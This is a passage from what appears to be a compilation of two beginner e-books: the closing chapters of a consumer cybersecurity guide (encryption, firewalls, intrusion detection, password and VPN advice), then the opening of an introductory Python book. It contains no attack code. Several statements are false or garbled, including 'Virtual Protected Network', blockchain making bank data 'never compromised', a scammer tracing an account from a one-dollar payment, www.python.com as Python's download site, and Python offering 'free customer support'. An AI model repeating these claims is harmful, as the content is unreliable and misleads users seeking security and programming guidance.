Many large companies, especially financial institutions, protect themselves by using anti-tampering software. Look and see if your anti-malware has anti-tampering software as one of its benefits. If not, you may want to invest in some.

Cryptographic Software

Cryptographic or encryption software utilizes encryption to prevent unauthorized access to a digital system. Encryption is the practice of hiding or disguising information that is intended to be sent electronically. The practice is as old as long-distance communications; back in ancient times, couriers would commonly carry messages that were encrypted so that, if they were apprehended on the route, no one would be able to decipher the message. As soon as electronic messages were able to be sent through long distances, encryption was employed. During World War I and World War II, hundreds, if not thousands, of cryptographers were hired to decipher messages that were intercepted from enemy communications.

Nowadays, encryption is much more advanced and sophisticated so as to keep pace with rapidly evolving technology. It usually uses complex algorithms to keep from being detected and deciphered by unwanted third parties. People and companies use encryption to make sure that the information that they send electronically is not intercepted or, if it is, that it is not readable. Hackers are constantly trying to access information that is sent electronically, so using encryption software is a good way to protect yourself.

Encryption software uses something called a cipher to transform the meaningful message that was originally sent into something called ciphertext, which resembles gobbledygook. The intended recipient of the message is able to read the original, meaningful message as it was originally sent. However, if anyone else tries to access it, it will not make any sense.

There are many software products that enable encryption. One of the easiest methods of utilizing encryption software is to go to your email account settings and set them to encrypt your emails. This simple measure will help prevent them from being intercepted by unwanted third parties. Below are some other types of encryption software.

Virtual Protected Network (VPN). A VPN is a type of encryption software that changes the location of your computer's ISP address. This is a particularly handy tool to use when traveling, as it prevents the governments and any ne'er-do-wells of other countries from being able to access your information. For example, if you are traveling in Brazil, you can set your

VPN to say that you are in California. All of your Internet traffic will appear to originate in California, making it impossible to track.

Some VPNs are completely free. Others may cost around $50 a year. Look for one that best meets your needs.

VPNs are a great way to protect yourself, but they can only do so much. They can't protect the local files on your computer, and unless you are using secure HTTPS sites, the traffic between the VPN server and your computer is not secure. For these reasons, you need to use more than a VPN.

Built-in Encryption Software. In 2015 when two shooters rampaged a health center in San Bernardino, California, the FBI asked Apple to provide a back door to enable them to get into the attackers' iPhones. Apple completely refused and would not back down. One reason why is because creating a backdoor would compromise the cryptographic software that was already present in all of their products. The cryptographic software was so strong that the FBI took over three months attempting to unlock the phone.

Look into what built-in encryption software your computer, tablet, or phone came with. If you need to supplement it with any additional encryption software (other than a VPN, which is a must!), make sure that you are doing so in such a way that will enhance the security features already present.

Blockchain. Blockchain is a type of software that was originally designed to host the virtual currency known as Bitcoin. Since its inception in 2008, its potential has been exploited to create a host of software products that provide a high level of encryption. Blockchain uses public-key encryption and a high-accountability system of node computers to provide some of the best security features in the world of cyber security. Many are now saying that blockchain is the future of encryption software.

Many companies, especially financial institutions, are experimenting with blockchain to see how its security features can protect them and their customers. While developing your own blockchain is an inaccessible method of upping your own cyber security, one thing that you can do to take advantage of blockchain is try to only use the websites of companies that use

blockchain. See if your bank's website uses blockchain; if it does, your financial information will likely never be compromised.

Blocknet is essentially an entirely new Internet whose applications run entirely on blockchain technology. You can look into how you can use blocknet to help ensure that the information that you send digitally is always encrypted.

The above are just a few of the different types of encryption software that you can look into. Windows, Linux, and other operating systems have other encryption software that are available directly from the operating system company and are designed to protect both your local information as well as information that you send digitally.

Firewall

A firewall is a cyber security system which carefully controls and monitors all incoming and outgoing traffic. It does so by creating a barrier between a secure system and a system that is understood to generally be insecure, such as the Internet.

There are two types of firewalls: host-based firewalls and network firewalls. A host-based firewall is a layer of software on the host computer that controls all of the traffic that goes to and from the host. A network firewall is software that runs on general-purpose hardware and filters all traffic between two different networks. A firewall can also create a VPN for the computer on which it operates.

Intrusion Detection System (IDS)

Intrusion detection system (IDS) is a blanket term for computer software that monitors a system for any kind of suspicious activity. The information about the suspicious activity is then sent to the computer's administrator or to a security information and event management (SIEM) database for inspection.

One form of it is probably very familiar to you already: antivirus protection.

There are two basic types of IDS: network intrusion detection system (NIDS) and host-based intrusion detection system (HIDS). An NIDS system monitors incoming traffic to make sure that it is free from threats. An HIDS system monitors all of the files within an operating system.

Intrusion Prevention System (IPS)

An intrusion prevention system, or IPS, is a type of IDS that has the capability of responding to any threats or malicious activity that is detected. When any suspicious activity is detected, it immediately blocks it. Not only does it monitor and log any threats, but it also can analyze problems associated with a company's security policies and discourage individuals from violating those policies.

An IPS might use one or more of different detection and response methods. One is called stateful protocol analysis detection, and it uses observed and recorded activity, which is considered to be benign, in order to determine activity that is out of the ordinary and therefore suspicious. Another is called signature-based detection, and it looks for the signatures of software that are known to be malicious. A potential drawback of signature-based detection is that it may not be as effective against new threats that are not already established with signatures. Statistical anomaly-based detection is the third kind. Statistical anomaly-based detection is a method by which the system searches for anomalies or aberrations based on known patterns of benign use.

Sandbox

A sandbox is a useful way to test out a program that is potentially dangerous without running the risk of harming the entire computer. It allows a program to be carried out using a controlled amount of the computer's resources, so if the program has, say, a defective code or has a virus embedded in it, the damage will be limited to the computer's resources that were used to run it. Therefore, all of the sensitive information stored on the computer will remain safe, even if the file proves to be malicious.

Sandboxes can be extremely useful for large corporations or for individuals who download a lot of information from the Internet. Using them can prevent

catastrophic damage to the entire computer system.

Security Information Management

Security information management refers to the composite collection of data so that it can be analyzed. An example would be a log of times that an account was accessed and the places from which such access occurred. The information is then sent to a centralized computer server, from which it can be accessed by people who have the proper credentials. This type of information can be extremely useful in an investigation, should a hack occur. It can help immediately detect suspicious activity, thereby possibly preventing a hack before it even begins.

Companies that are serious about cyber security need to invest in some form of security information management. This will ensure that should a breach ever happen, they will have a better chance of being able to track down the source of the hack (the cyber-criminal or hacker behind it) and prosecute to the fullest extent of the law.

SIEM

SIEM stands for security information and event management. It refers to software or an outside, managed service that logs security data, provides analysis of security threats in real time, and generates compliance reports. SIEM is commonly used by companies that deal with large amounts of data, which needs to be constantly monitored and protected in real time.

Some companies choose to use software to meet their SIEM needs, while others choose to use an outside company. The outside company will have access to your computer's information so that it can monitor and analyze the computer's use and any security threats. Using an outside company may be more expensive than software. However, the company will probably provide some kind of insurance should a security breach occur in which it covers the damage caused by the breach.

Protecting your company's data and the personal information of your company's customers and clients is supremely important to both your bottom

line and reputation, so a good SIEM system or company is definitely worth the investment.

Chapter 3: Cyber Security Best Practices

In addition to ensuring that you are properly protected with the necessary software, there are other best practices that you can engage in to best keep you safe online and protect you from hackers. While there is never a 100% guarantee that you absolutely will not be targeted by hackers, following these best practices will help increase the difficulty of hacking into your computer. Hopefully, any hacker who may target you will see that you have layers of protection and will decide to move on to someone who is not as protected as you are.

Use Difficult Passwords

Many times, hackers target online accounts that are password protected. One of the easiest ways for them to gain access is for you to have easy passwords. In addition, unscrupulous family, friends, or co-workers may try to break into your accounts by trying to guess what your passwords are.

Many people use common things for their passwords, such as their favorite foods, the name of one of their children, the name of their significant other, favorite plants or animals, a nickname, or the name of a pet. Other common passwords include a series of numbers such as 123456789 or variations of "password." These passwords are way too obvious! If you have a password such as one of the above, anyone who knows you well will be able to easily figure it out, especially if you have a password hint. Then, your password is a dead giveaway.

Use a difficult combination of numbers, letters, and symbols to create difficult passwords that people will not be able to crack. A password such as "fvxo6997!?" will be much, much more difficult to figure out than "justinsgirl."

Don't Reuse Passwords

Many people don't even think about using different passwords for different accounts. After all, having multiple passwords makes keeping track of them

difficult. Having just one password means that you can log into all of your accounts with ease, without even having to think about what the password is. However, this could potentially open you up to hackers compromising your accounts.

Having multiple passwords is understandably challenging. You may insist that your password for your email account is asdf1234kjb, but that is actually the password for your Facebook account. The frustration and anxiety created by not being able to keep up with multiple passwords can either make you give up or drive you to the brink of your sanity. However, reusing passwords for multiple accounts makes hacking into your accounts easier. If someone figures out the password into just one of those accounts, that person may have access to your email, Facebook, bank account, Amazon account, the list goes on. By the time the damage is discovered, you could be out hundreds or even thousands of dollars, as well as have embarrassing pictures posted on your social media.

One way to make the challenge of having multiple passwords easier is to keep a document of passwords on your desktop or phone. Beware, though. Make sure that this document is encrypted and password-protected. If anybody was to gain access to it, all of your accounts could be compromised.

Frequently Change Passwords

Some people never change their passwords. Ever. Even if they get locked out of an account and are requested to change their passwords to protect their security, they either refuse to do so or, after changing it, immediately change it back to what it was. This action is understandable. After all, you may have your email login information saved onto your own devices, and then when you need to access your email from another computer, you may not have any idea what you changed your password to. You may either have to change your password altogether or just give up on trying to log in from a different computer. The process is enough to frustrate anyone.

However, not changing your passwords can be just as damaging as using the same password for multiple accounts. At any given time, somebody may be on the brink of deciphering one of your passwords. Imagine that someone

was able to figure out the password to your online bank account and was able to access it!

As a rule of thumb, you need to change your passwords at least every six months. Anytime you get an email suggesting that unauthorized activity may have been carried out on an account, you need to change that account's password right away. If you must use password recovery to get into an account that you are locked out of, do not change your password into an old, previously used password.

Don't Share Passwords

Never, ever, ever let anyone — save for possibly your significant other, and even then, many people don't share their passwords — know what your passwords are. The temptation to access your online accounts and use them for personal gain and benefit may prove to be too much for even the most scrupulous friends.

The fact is that you are responsible for any activity under your accounts. If fraudulent activity occurs, you may be responsible for it until you can prove that someone else accessed your account without your permission.

Sometimes, you may need to give a trusted friend a password so that he or she can access information for you while you are not able. In that event, you need to change your password as soon as that friend no longer needs to access your information. You also need to closely monitor all activity into and out of that account. Politely thank your friend for his or her assistance and then let him or her know that you will be changing the password.

Use a VPN

A VPN is a virtual protected network, and using one anytime you are browsing online has multiple benefits in regard to your online security. If you are on a public Internet server, such as one at Starbucks, a hotel, or any other public place, there is likely no encryption provided, making any information that you send available to a hacker that would take the time to try to access it. And many, many hackers will take the time to try to access it! A VPN can prevent this scenario because it reroutes all of your Internet browsing through

a private server, making it inaccessible to private eyes.

Another benefit of a VPN is that you can access websites without being watched by a third party, such as a government entity. This is possible because you can set your VPN to route all of your Internet browsing through a server in a foreign country. If you are traveling, some countries censor certain websites, especially those that involve any kind of governmental dissent. Using a VPN will allow you to gain full access to all of those websites.

Yet another benefit of using a VPN is that you can protect your VOIP calls, such as those made over Skype or FaceTime. VOIP calls are so easy to access that even a novice hacker can break into them. The thought that someone else is listening in on your private phone calls can be unnerving at best and dangerous at worst, especially if you are sharing any kind of confidential information that you don't want other people to be privy to.

Another benefit of using a VPN is that when you use a search engine, such as Google or Yahoo!, your searches won't be recorded. Any time you run a search through a search engine, that search gets saved under your name. For example, if you use Google to perform a search on a device that is authorized to access your Gmail account, anytime you access your Gmail account on a different device, the results of that search will follow you. This is so that you don't have to re-enter previous searches (it's meant to be a convenient for you) and so that ads can better target potential customers. However, some of your searches may be a little bit embarrassing. If you search for dating advice and then that search re-appears on your date's laptop when you use it to access your email, you may be a bit embarrassed! Some scenarios are not embarrassing but actually dangerous, especially if you are in a line of work that requires you to research difficult topics such as war crimes or brothels. Using a VPN will prevent your searches from being recorded.

Perhaps the most important reason to always use a VPN is because privacy is a right that has lately turned into a commodity. Very few people actually experience online privacy because their every move online can be tracked, either by hackers or the government. If you believe that privacy is a right that is worth protecting, then you need to make sure that you are always,

ALWAYS using a VPN.

Use a Credit Protection Service, Such as LifeLock

Most financial transactions that occur nowadays are digital. Whereas twenty years ago you may have had to write a check and wait for a couple of days for it to clear the bank, nowadays, you just swipe a debit or credit card and the transaction appears immediately. Whereas twenty years ago applying for a credit card may have taken weeks, considering that processing the application may have involved going through mountains of paperwork, nowadays, you can be approved in 60 seconds. Hackers are finding more and more clever ways to access your financial information so that they can make an easy, untraceable buck. Protecting your financial information online is of the utmost importance.

While these high-speed digital transactions are certainly convenient, they can leave you extremely vulnerable to identity theft and credit card fraud. If someone gains access to your personal information, as happened during many of the security breaches mentioned at the beginning of this book, that person can easily apply for a credit card in your name. You may have no idea that your identity was stolen and someone else is making purchases that you are financially responsible for until months or even years later. During that time, the damage can add up to hundreds of thousands of dollars.

One way to protect yourself is to use a credit protection service. Services such as LifeLock will notify you any time an application for any financial account, such as a new bank account or credit card, is made. The application will not be approved unless you give your consent, verifying that you, the owner of the personal information used, authorized the application. This can be a valuable way of protecting you from identity theft and protecting your financial information in the digital age.

Credit protection services are not free, and there are other methods of protecting your good name online without paying for one. One method is to place a security freeze on your credit report. Depending on the laws for security freezes in your state, no credit application will be approved as long as you have a security freeze in place. There is a small fee associated with a

security freeze — typically around $10 — but if you are the victim of identity theft, you may be able to get it for free.

Another method is to place a fraud alert on your credit report. A fraud alert will notify you anytime your credit score is accessed. You can then determine whether you were the one to access your credit score and know immediately if someone is trying to steal your identity. Fraud alerts typically last for 90 days, so they need to be frequently renewed. However, if you have been the victim of identity theft, you can apply for a long-term fraud alert that will last for seven years.

You are entitled to receive a free copy of your credit report every year from each of the three credit reporting agencies. Make sure that you take advantage of this service by requesting a free copy of your credit report every four months from a different agency. Carefully review the information to make sure that no fraudulent activity has occurred. If there is anything suspicious on your credit report, immediately notify the credit bureau before further damage is done.

If you are truly passionate about cyber security, you may want to invest in multiple forms of credit protection, such as enlisting the assistance of a credit protection service as well as using other methods such as a security freeze.

Cover Your Webcam

In 2016, James Comey, then-director of the FBI, recommended that all private citizens cover their webcams on their phones, computers, and tablets. Hackers, government agencies, and other entities have developed ways to use webcams to spy on people using their devices. In 2010, Harriton High School in Pennsylvania used webcams on school-issued laptops to take pictures of the people who were using them. They were programmed to take a picture every 15 minutes as a way of verifying the identity of the user. One student found that the laptop he was using had taken 400 pictures of him, including some when he was either asleep or partially dressed. The school only narrowly escaped having to face criminal charges for its actions. What is scary is that it was able to use the webcams for this purpose.

Nefarious individuals have been found to use webcams to spy on unsuspecting women in order to take pictures of them in the nude. Some have even sold webcams that are programmed to do this. What is particularly distressing is that hackers that use these specially programmed webcams can disable the light that tells the computer's user that the webcam is on. Therefore, that person has no idea that he or she is being spied on. Some particularly unscrupulous individuals will then use the videos to blackmail or extort the victims.

The easiest way to cover your webcam is to do what Facebook CEO Mark Zuckerberg does: cover it with a piece of dark tape. Whenever you want to use your webcam to make a video call, remove the tape. After the call is over, apply another piece of tape. Imagine that something so simple as a small piece of tape could protect your online privacy and even prevent you from being blackmailed or extorted! But a hacker will not be able to override this physical obstruction.

Log Out of Your Desktop

This best practice should be a no-brainer if you are using a public computer, such as one at school or work. However, you should always log out of your desktop, even on your own personal computer. It is not unheard of for hackers to be able to gain access to your desktop, even if you are not currently using it and/or it is asleep.

Getting into somebody else's desktop is like hacking 101. If you are online, then a novice hacker doesn't even need black-market software to be able to gain entry to your desktop while you are online. Once you are no longer on your computer, if your desktop is still logged in, then the hacker has free reign of your computer. You may come back and find that you have been hit with viruses, that all of your passwords have been compromised, and/or that all of your important files have been deleted.

Be Wary of Unknown Emails and External Downloads

Phishing, which is the practice of sending fraudulent emails in order to extract personal and/or sensitive information, is an increasingly common

practice in today's digital world. Hackers and online thieves are always looking for ways to get your information, and one way that they try is to send legitimate-looking emails.

A common email scam is for someone, sometimes a deposed royal, to contact you asking for financial help. If you allow your sympathetic response to be activated by this plea, you will run yourself into a heap of trouble. People and organizations that you don't know and/or are not affiliated with that send emails asking for financial help often have a way of being able to track the bank account information for any incoming transaction. What this means is that if you even send one dollar in response to an email asking for help, the person or entity that sent that email may be able to reverse engineer the information to the bank account from which that money was sent. You could be out your entire bank account before you even know what happened! As a general rule of thumb, do not EVER send money to someone that you do not know, especially not over the Internet. If you absolutely cannot resist, use a third-party payment system such as PayPal. That way, the money that you send will not directly lead to your bank account.

A variation of this scam is that someone may ask you if you can cash a check for him or her in return for an inordinately large amount of money. In return, you are requested to either provide a small service or give him or her a small portion of the money sent. Do not ever accept money for something that you have not done! The criminal could use this scheme to gain access to your bank account.

On that note, an ad claiming that you are a winner is not ever legitimate. Don't ever click on it! You are not going to get a free prize, unless you consider some form of malware getting downloaded onto your computer to be a prize.

Another method of phishing that online criminals like to use is to get you to download a file that looks legitimate. They may do so by posing as a friend or a legitimate organization, even the company that you work for! Without even questioning who the sender is, you will open the email that they sent. Attached may be a file that looks completely legitimate but is actually a spyware program. Before you know it, your computer is infected with

spyware! One of the scariest things about spyware is you may *never* know that your computer has been infected. It will continue to operate normally, because there is no presence of a virus or other bug to cause problems. However, someone is now spying on everything that you do over the computer. Many companies have policies that state that employees may not open email attachments, even from trusted senders, to prevent this scenario. You may want to consider adopting this policy. There are usually alternatives to sending attachments, such as sending links to webpages or sending something via a cloud service such as Google Docs. To further protect yourself, make absolutely certain that your computer is equipped with spyware protection. Only a high-quality spyware protection program will be able to detect and eliminate spyware that may have infected your computer.

Another phishing scam is that a bogus cyber security expert may claim that your computer is infected and that he or she needs to gain remote access in order to fix the problem. If your computer is truly infected, so badly that your antivirus and other security software is unable to fix the problem, you need to take your computer to a trusted computer repair service. Do not ever let a third party gain remote access to your computer unless you initiated the conversation. For example, if you have contacted tech support for a computer application, such as Skype, the tech may need to gain remote access. In that situation, granting such access is okay because you initiated the conversation. However, if someone claiming to be from Skype contacts you to let you know that your computer may be infected, absolutely do not respond to the email and do NOT let this person gain access to your computer! Instead, immediately contact Skype to let its staff know that someone is phishing by claiming to be from Skype.

Always Be on The Lookout for Security Breaches

This best practice has two aspects, private and corporate. Always stay up-to-date on the transactions that are occurring with your bank account and credit card. If you notice anything suspicious, take action right away. If you do not regularly monitor your financial information, you may not catch fraudulent activity for weeks, months, or even years after a hacker first got into your accounts. By that time, the damage could be so extensive that you may never recover.

You also need to constantly be on the lookout for corporate security breaches. For example, if you have a credit card with a major retailer and find that that retailer suffered a security breach, such as one of those mentioned at the beginning of this book, you need to take immediate action to minimize or even reverse the damage that you may potentially sustain. Immediately request a new credit card with new numbers. Be prepared for the fact that your social security number, date of birth, real name, address, and phone number may have already been compromised. If you are unaware that your bank was hacked, or a company with which you hold a credit card, you could be ignorant of the fact that you are losing hundreds or even thousands of dollars to a hacker.

Back Up Your Data

Sometimes, hackers come in and wipe all of the information from your computer system. If this happens, you don't want this to be a total loss or catastrophe. Whether you are an individual, a small business owner, or in charge of your department at a large corporation, having all of your data wiped from your computer system can cause an inordinate amount of loss. You can spend a lot of time and money trying to regain only a fraction of what you originally had.

One method of ensuring that the damage done in case your computer gets wiped clean is minimized is to back up your data on a regular basis. You can do this with an external hard drive or through a cloud-based service. If you choose to use a cloud-based service, make sure that it is heavily encrypted and has a high reputation for being secure. Choose a unique username and password that cannot be easily traced to you. If you use a hard drive to back up your data, make sure that you keep it under lock and key. The last thing that you want is to go through the effort of protecting your data by backing it up, only to find that a hacker is able to access it through the back door.

Make Sure Your Programs Are Up to Date

Very few people feel a rush of adrenaline when they see a notification on their computers saying that updates need to be installed. Going through the process of restarting your computer so that the updates can be installed,

especially when you have 12 Internet tabs open and are working on a major project, can be disruptive. However, you need to always make sure that your programs are up to date. One reason is that whenever updates are made available, they almost always include new security features that will help protect you and the information that you have stored in those programs.

You especially want to make sure that you keep your security programs, such as antivirus, updated. While most antivirus programs are renewed every year, viruses, spyware, and other forms of malware are not created on a schedule that corresponds with your updates and renewals. Updates may be available that protect you against new threats that could bring down your entire system. If an update is available for your antivirus, make sure that you install it immediately.

Use Pop-Up Blockers

Pop-ups are those pesky little windows that appear at times when you click on links. Sometimes, they appear when you didn't even click on anything! They usually say something to the effect of you winning a large prize in a contest that you know nothing about. Pop-ups are usually nothing but bad news. More than just being annoying, they can quickly infect your computer with all kinds of malware before you even know what happened.

Fortunately, you can easily protect yourself against pernicious pop-ups by disabling them. Your operating system and Internet browser probably have their own unique method of disabling pop-ups. If you use Google Chrome, go to Settings on the Chrome toolbar. Click on Advanced Settings, then Privacy, then Content. Under Pop-ups, make sure that you have selected the option that says, "Do not allow any site to show pop-ups (recommended)." You can then manage exceptions for times in which you will allow pop-ups.

Keep Your Antivirus On

Do not ever turn your antivirus off! If you are trying to access a website or program that requires you to turn off your antivirus, it is probably asking you to do so because it wants to infect your computer with malware. Always, always, always keep your antivirus and other protective software, such as

firewalls, on. Do not ever disable them for any reason.

On that note, make sure that you scan your computer for viruses on a regular schedule, at least one time every month. Depending on the websites that you visit, you may want to do so more often.

Don't Visit Pornography Websites

No type of website is designed to load your computer with more malware than a pornography website. Even if your pop-up blocker is enabled, multiple pop-ups will come up any time that you click your mouse. Each of those pop-ups potentially holds viruses, Trojan horses, worms, spyware, the list goes on. Furthermore, both hackers and the people who are running the website are more prone than owners of other websites to spy on you with your own webcam. Afterwards, your antivirus may blatantly say that because you visited a pornographic website, your computer became infected. Few things will infect your computer faster than a visit to a pornographic website.

If you are using a work computer, visiting a pornography website can easily get you fired. If you are using a personal computer, visiting a pornography website can quickly infect your computer with so much malware that you may have to pay a visit to a technician. This could prove to be both expensive and embarrassing.

Use Secure Wi-Fi

Public Wi-Fi connections are not secure; hackers can easily get into the network to see what traffic is coming in and out of them. A more experienced hacker will be able to use the information he finds to glean important personal information from you, potentially leading to identity theft. Using a secure Wi-Fi connection involves using a VPN and so much more.

Whenever possible, avoid using a public Wi-Fi connection. If you do use public Wi-Fi, make sure it is a connection that requires you to log in with a username and password. This provides a layer of security, which will cause hackers to have a more difficult time to access your Internet traffic. And if you make a hacker's job more difficult, you stand a greater chance that he or she will move on to the next victim.

If you are using a connection that is not your personal home connection, including Internet at work, always use a VPN. This will keep unscrupulous coworkers, some of whom may be hackers themselves, from accessing the information that you send over the Internet. It will also make any Internet traffic difficult to trace back to you.

If you are running a business or are in charge of your department's Internet connection, make sure that the Internet is secure and encrypted. To find out how to do this, call the Internet company. The package may cost a little more every month, but the extra cost will be well worth it. You could very well save yourself time and energy from having to deal with a costly and time-consuming hack.

Wipe Data from Old Devices

Before you take your old smart phone, tablet, or computer to the Geek Squad or other computer center for recycling, you need to first wipe all of the data. The memory stored on your device is easily accessible by virtually anyone who is skilled in computer repair, even the scrupulous Geek Squadders. Who is to say that one of them isn't in a desperate place and needs an easy way to make a few extra dollars? They could easily take the memory from your computer's hard drive, take it home, find the information necessary to steal your identity, and have all of the computer smarts to hide the evidence.

There are tools and methods that you can use to wipe your old devices. You can completely erase all of the data from your device using destruction software, which is what government agencies such as the Department of Defense do. Some destruction software, such as Disk Wipe, is completely free. You could degauss your hard drive. Degaussing is a process whereby you so severely disrupt the magnetic field that the information stored in it becomes so scrambled that it is virtually inaccessible. You could also destroy the hard drive. Whatever method you choose, make sure that when you hand your device over for recycling, you do not leave yourself susceptible to having your personal information compromised.

Scan All Devices

In today's hyperconnected world, many devices can be plugged into your computer. Your smart phone probably can be plugged into your computer to access updates and sync with apps and documents stored on your computer. You may have a tablet that can do the same thing. An e-reader, such as a Kindle, can be plugged into a computer in order to download ebooks that are on your desktop, without an Internet connection. A USB or external hard drive can be plugged into your computer to enable you to view files that may not be saved on your desktop. You can also charge a lot of devices by plugging them into your computer.

In the process of getting the most out of your gadgets by plugging them into your computer, you may actually be infecting your computer with viruses. Any of your auxiliary devices, such as your e-reader or USB drive, could potentially be infected with malware and you not even know it. Make sure that you always scan any device that you plug into your computer. Your antivirus software should have an option to do this; usually, as soon as you plug something in, a dialogue box will pop up asking if you want to scan the external device. Always select yes. Your antivirus could detect and remove any threats, thereby keeping not only your computer clean but also any devices.

On that note, don't let anybody else plug a device into your computer. You have no idea what malicious files may be stored on them, and you don't want those files to gain access to your computer. Especially not when you have worked so hard to protect your own cyber security!

Similarly, you should never plug one of your devices into a public computer. You do not know what that computer may be infected with, and just like a biological infection, any present malware could find its way from that computer to your device and, from there, onto your personal computer. Keep your gadgets to yourself.

Conclusion

In conclusion, cyber security is something that everyone can practice in order to keep themselves safe from hackers. It is important for companies to practice cyber security, in order to protect not only themselves but also the customers that they service. Problems with cyber security can lead to costly and time-consuming breaches that can wreak havoc on a company and sometimes even destroy its reputations. With individuals, important data and personal information can be compromised, leading to identity theft. You cannot take cyber security too seriously; failing to use adequate protection can be catastrophic, causing damage that can take years to repair.

Your cyber security is essentially in your own hands. This news should be welcome, because there is so much that you can do to protect yourself online. You can invest in software that detects and removes malicious threats from your computer, such as spyware, adware, viruses, rootkits, and backdoors. These are common things that hackers use in order to access your computer, so making sure that your computer stays free of them is your first line of defense in keeping yourself online. You can also make sure that you always use a VPN, keep your antivirus activated and updated, keep your webcam covered, and make sure that your Internet connections are secure, just to name a few of the cyber security best practices that you can utilize.

Employing cyber security tactics will not guarantee 100% that you will not be targeted by hackers. After all, hackers have managed to get into accounts run by the United States government. However, you can severely minimize the probability that you will be targeted. By making yourself a more difficult target, you raise the possibility that the cyber-criminal will give up on you and move on to an easier target.

Python:

Fluent In Python - Code Examples, Tips & Trick for Beginners

Introduction

Congratulations on downloading this book and thank you for doing so.

The following chapters will discuss some of the things that you need to know in order to get started with Python programming. The Python coding language is one of the best coding languages that you can use as a beginner because it is easy to read, easy to use, and will still give you all the power that you need to write out the codes that you want. This guidebook is going to spend some time helping you learn some of the basics of writing your own codes.

There are a lot of different things that you can add into your Python code to make it work the way that you would like. This guidebook will not only talk about some of the basics of getting started with Python, but it will also talk about how to work with classes and objects inside the language, how to work with the if statements, how to work with loops, and even how to raise your own exceptions inside of the code. All of these can come together to help you to write a powerful code for games, and other programs that you want to work with.

Working with the Python code can be a great experience. It will help you, even as a beginner, learn how to write out your own codes and get the results that you want in no time. When you are ready to write out some computer codes and see results, make sure to read through this guidebook and learn everything that you need to make some of your own codes.

There are plenty of books on this subject on the market, thanks again for choosing this one! Every effort was made to ensure it is full of as much useful information as possible, please enjoy!

Chapter 1: An Introduction to Python

Many people are interested in learning a brand-new coding language. They want to be able to work more on the computer, understand how a website works, and even work on creating some of their own programs. But if you have no experience with computer or with coding, where are you supposed to get started? This is one of the hardest parts about starting in coding. There are so many different coding languages you can learn, from Java and JavaScript to C++ and more, which one will be the best to help you get started?

As a beginner, Python is considered one of the best options to get you going. This is often considered the beginner's coding language because it is easy to learn and you won't have trouble reading it right from the start. There are many other benefits that come from using this kind of coding language as well, such as the fact that Python is considered open sourced so that you won't have to pay anything to use it and anyone can make changes when needed. Python can also work on all the operating systems, so you won't have to change the computer that you use just to learn a new coding language.

Despite being a coding language that is simple for beginners to get started with, there is still a lot of power and functionality that comes with working on this language. You will be able to write powerful codes in the process, and when combined with some other coding languages, Python can become even stronger. Let’s take a look at some more things that you need to know about Python and why it may be the best choice for you.

Why Should I Learn Python?

Since there are so many different coding languages that you can learn about, you may be curious as to why Python would be the best option for you. Many people, beginners and experts alike, will choose to work on Python because it is easy to learn, easy to read, and can take on even the most challenging codes that you will want to write. There are many reasons why you would want to work with the Python coding language including:

- Readable: Python has a language that is really easy to read. In fact, it is considered one of the most readable languages out there, and many

beginners are able to read at least some of the code without having to learn anything in the beginning. Since it is so easy to use, many beginners will learn off this one and then can add it in with some other languages if you decide this is needed.

- Free: some computer programs will cost money for you to just use them, but when it comes to using Python to code, you will find that it is free. Programmers can add this to their computers for free, and they are even allowed to make some modifications to the code and redistribute it without having to pay anything as well. If you get stuck with something, Python provides free customer support to help you out.
- Fast: even though Python is considered easy enough for an absolute beginner to get started, there is still the benefit of it being a high-level language. This means that when you make programs and codes with this language, you are going to notice that the execution of those codes is nice and fast. There are some coding languages that are a bit slow to execute, but Python is fast and will get the work done on time.
- Works on many platforms: you can use Python on all of the major operating systems, so you can use whatever computer you want to work with. Linux and Unix are often the systems that most people want to work with, but you can choose to use your Mac OS or Windows computer as well. This makes it easier for you to get to work on the code without having to purchase a new operating system or computer.
- A large library: the library for Python is pretty big, so this is going to be very useful for the beginner to work with. You will find that the Python library includes codes, functions, and some other options that are needed so that you can get the full functionality of the language. Any time that you need a specific thing to happen inside the code, you can just visit this library to help you out.
- A large community: this is really important for someone who is brand new to a coding language. You can go to the community any time that you have some questions, need some ideas, or want to learn something new about the Python community. Since there are so many people who will use Python, this can be a great place to find the resources that you need.

Many people enjoy working with Python because it is so simple and easy to use. Even if you have never worked with a programming language in the past, the Python coding language is a good option to start with. Everyone can enjoy it, and you are sure to get all the codes and programs written that you would like.

Download Python

Before you are able to work on any of the codings that you would like, you need to make sure that you have the Python coding language downloaded on your computer. Since Python will work on every operating system, you will just need to turn on your personal computer or the one that you want to use Python with, in order to get started.

Since the Python coding language is free to use as you would like, you will be able to download it without paying anything. You will just need to go to the Python website (www.python.com) and then look to find the version that you need for your personal computer. There are versions for each of the operating systems so read through them and find the one that is right for you. Once you click on the option that your computer needs, continue to follow the prompts that come up on your computer to finish the download.

While you do need to download the Python program to get the tools that are needed to write out your codes, you need to make sure that a few other things come as well. You need to make sure that the text editor is being downloaded as well (this is the part that you will write out your codes in) and the IDE, which is the environment that is needed to read and execute all of the codes that you write. First is the text editor. You don't need something that is too complicated to get this started. Usually using something like Notepad on Windows or another product that is similar will work just fine.

Don’t forget to download the IDE as well. If you don’t add the IDE to your computer, you will never be able to write or execute the code at all. There are some options that you can pick with IDE’s so you can pick the one that comes with the Python download, or you can look around to find another option that has some more features based on what you would like to do with

your coding.

Once these things are downloaded on your computer, you are ready to get started on writing some of your own codes. The process is simple, but let's take a look at some of the basics that come with the Python code to help you to read the syntax a bit better.

Some Basic Parts of the Python Code

As you get to work on your own codes, you will start to notice that there are a lot of different parts that come with them. Understanding some of the basic parts will make it better to understand what is going on in the codes that you are working on. This section is going to spend some time talking about some of the basic parts that come with the Python code and why they are so important.

The Python keywords

The first part that we will look at is the keywords that come in this language. Like many other coding languages, Python is going to have a list of keywords that mean specific actions inside the code, and they should only be used for those purposes, or you will confuse the system. You will find that these keywords are in charge of giving out commands to the compiler so that it reacts the way that you would like. They are reserved to help you execute your code so make sure that you never use them outside of these uses.

Naming your identifiers

When you are working on some codes inside of Python, there are going to be things known as identifiers that you often need to use. These have many different names, and we will work on identifying them a bit more as we continue. Some of the names that they are known as include variables, entities, functions, and classes. When you name an identifier, you are able to use pretty much the same rules on all of them, which makes it easier to handle. Some of these rules include:

- Naming these identifiers is simple. You can use both the lower-case

and the upper-case letters any time that you would like. Numbers and the underscore symbol are allowed as well. Any combination of the above are allowed, just make sure that you aren't adding in spaces in this name. So, you would name it MyPythonProgram rather than My Python Program.

- The identifiers can't start with any numbers. It is fine to use numbers throughout the name, but you should never have this at the beginning of the name or in the first character at least. This will result in an error when you type it into the compiler so if you are uncertain about why you see an error, check on this part.
- The identifier shouldn't have one of the keywords that we talked about before. Doing this will confuse your compiler so just avoid it.
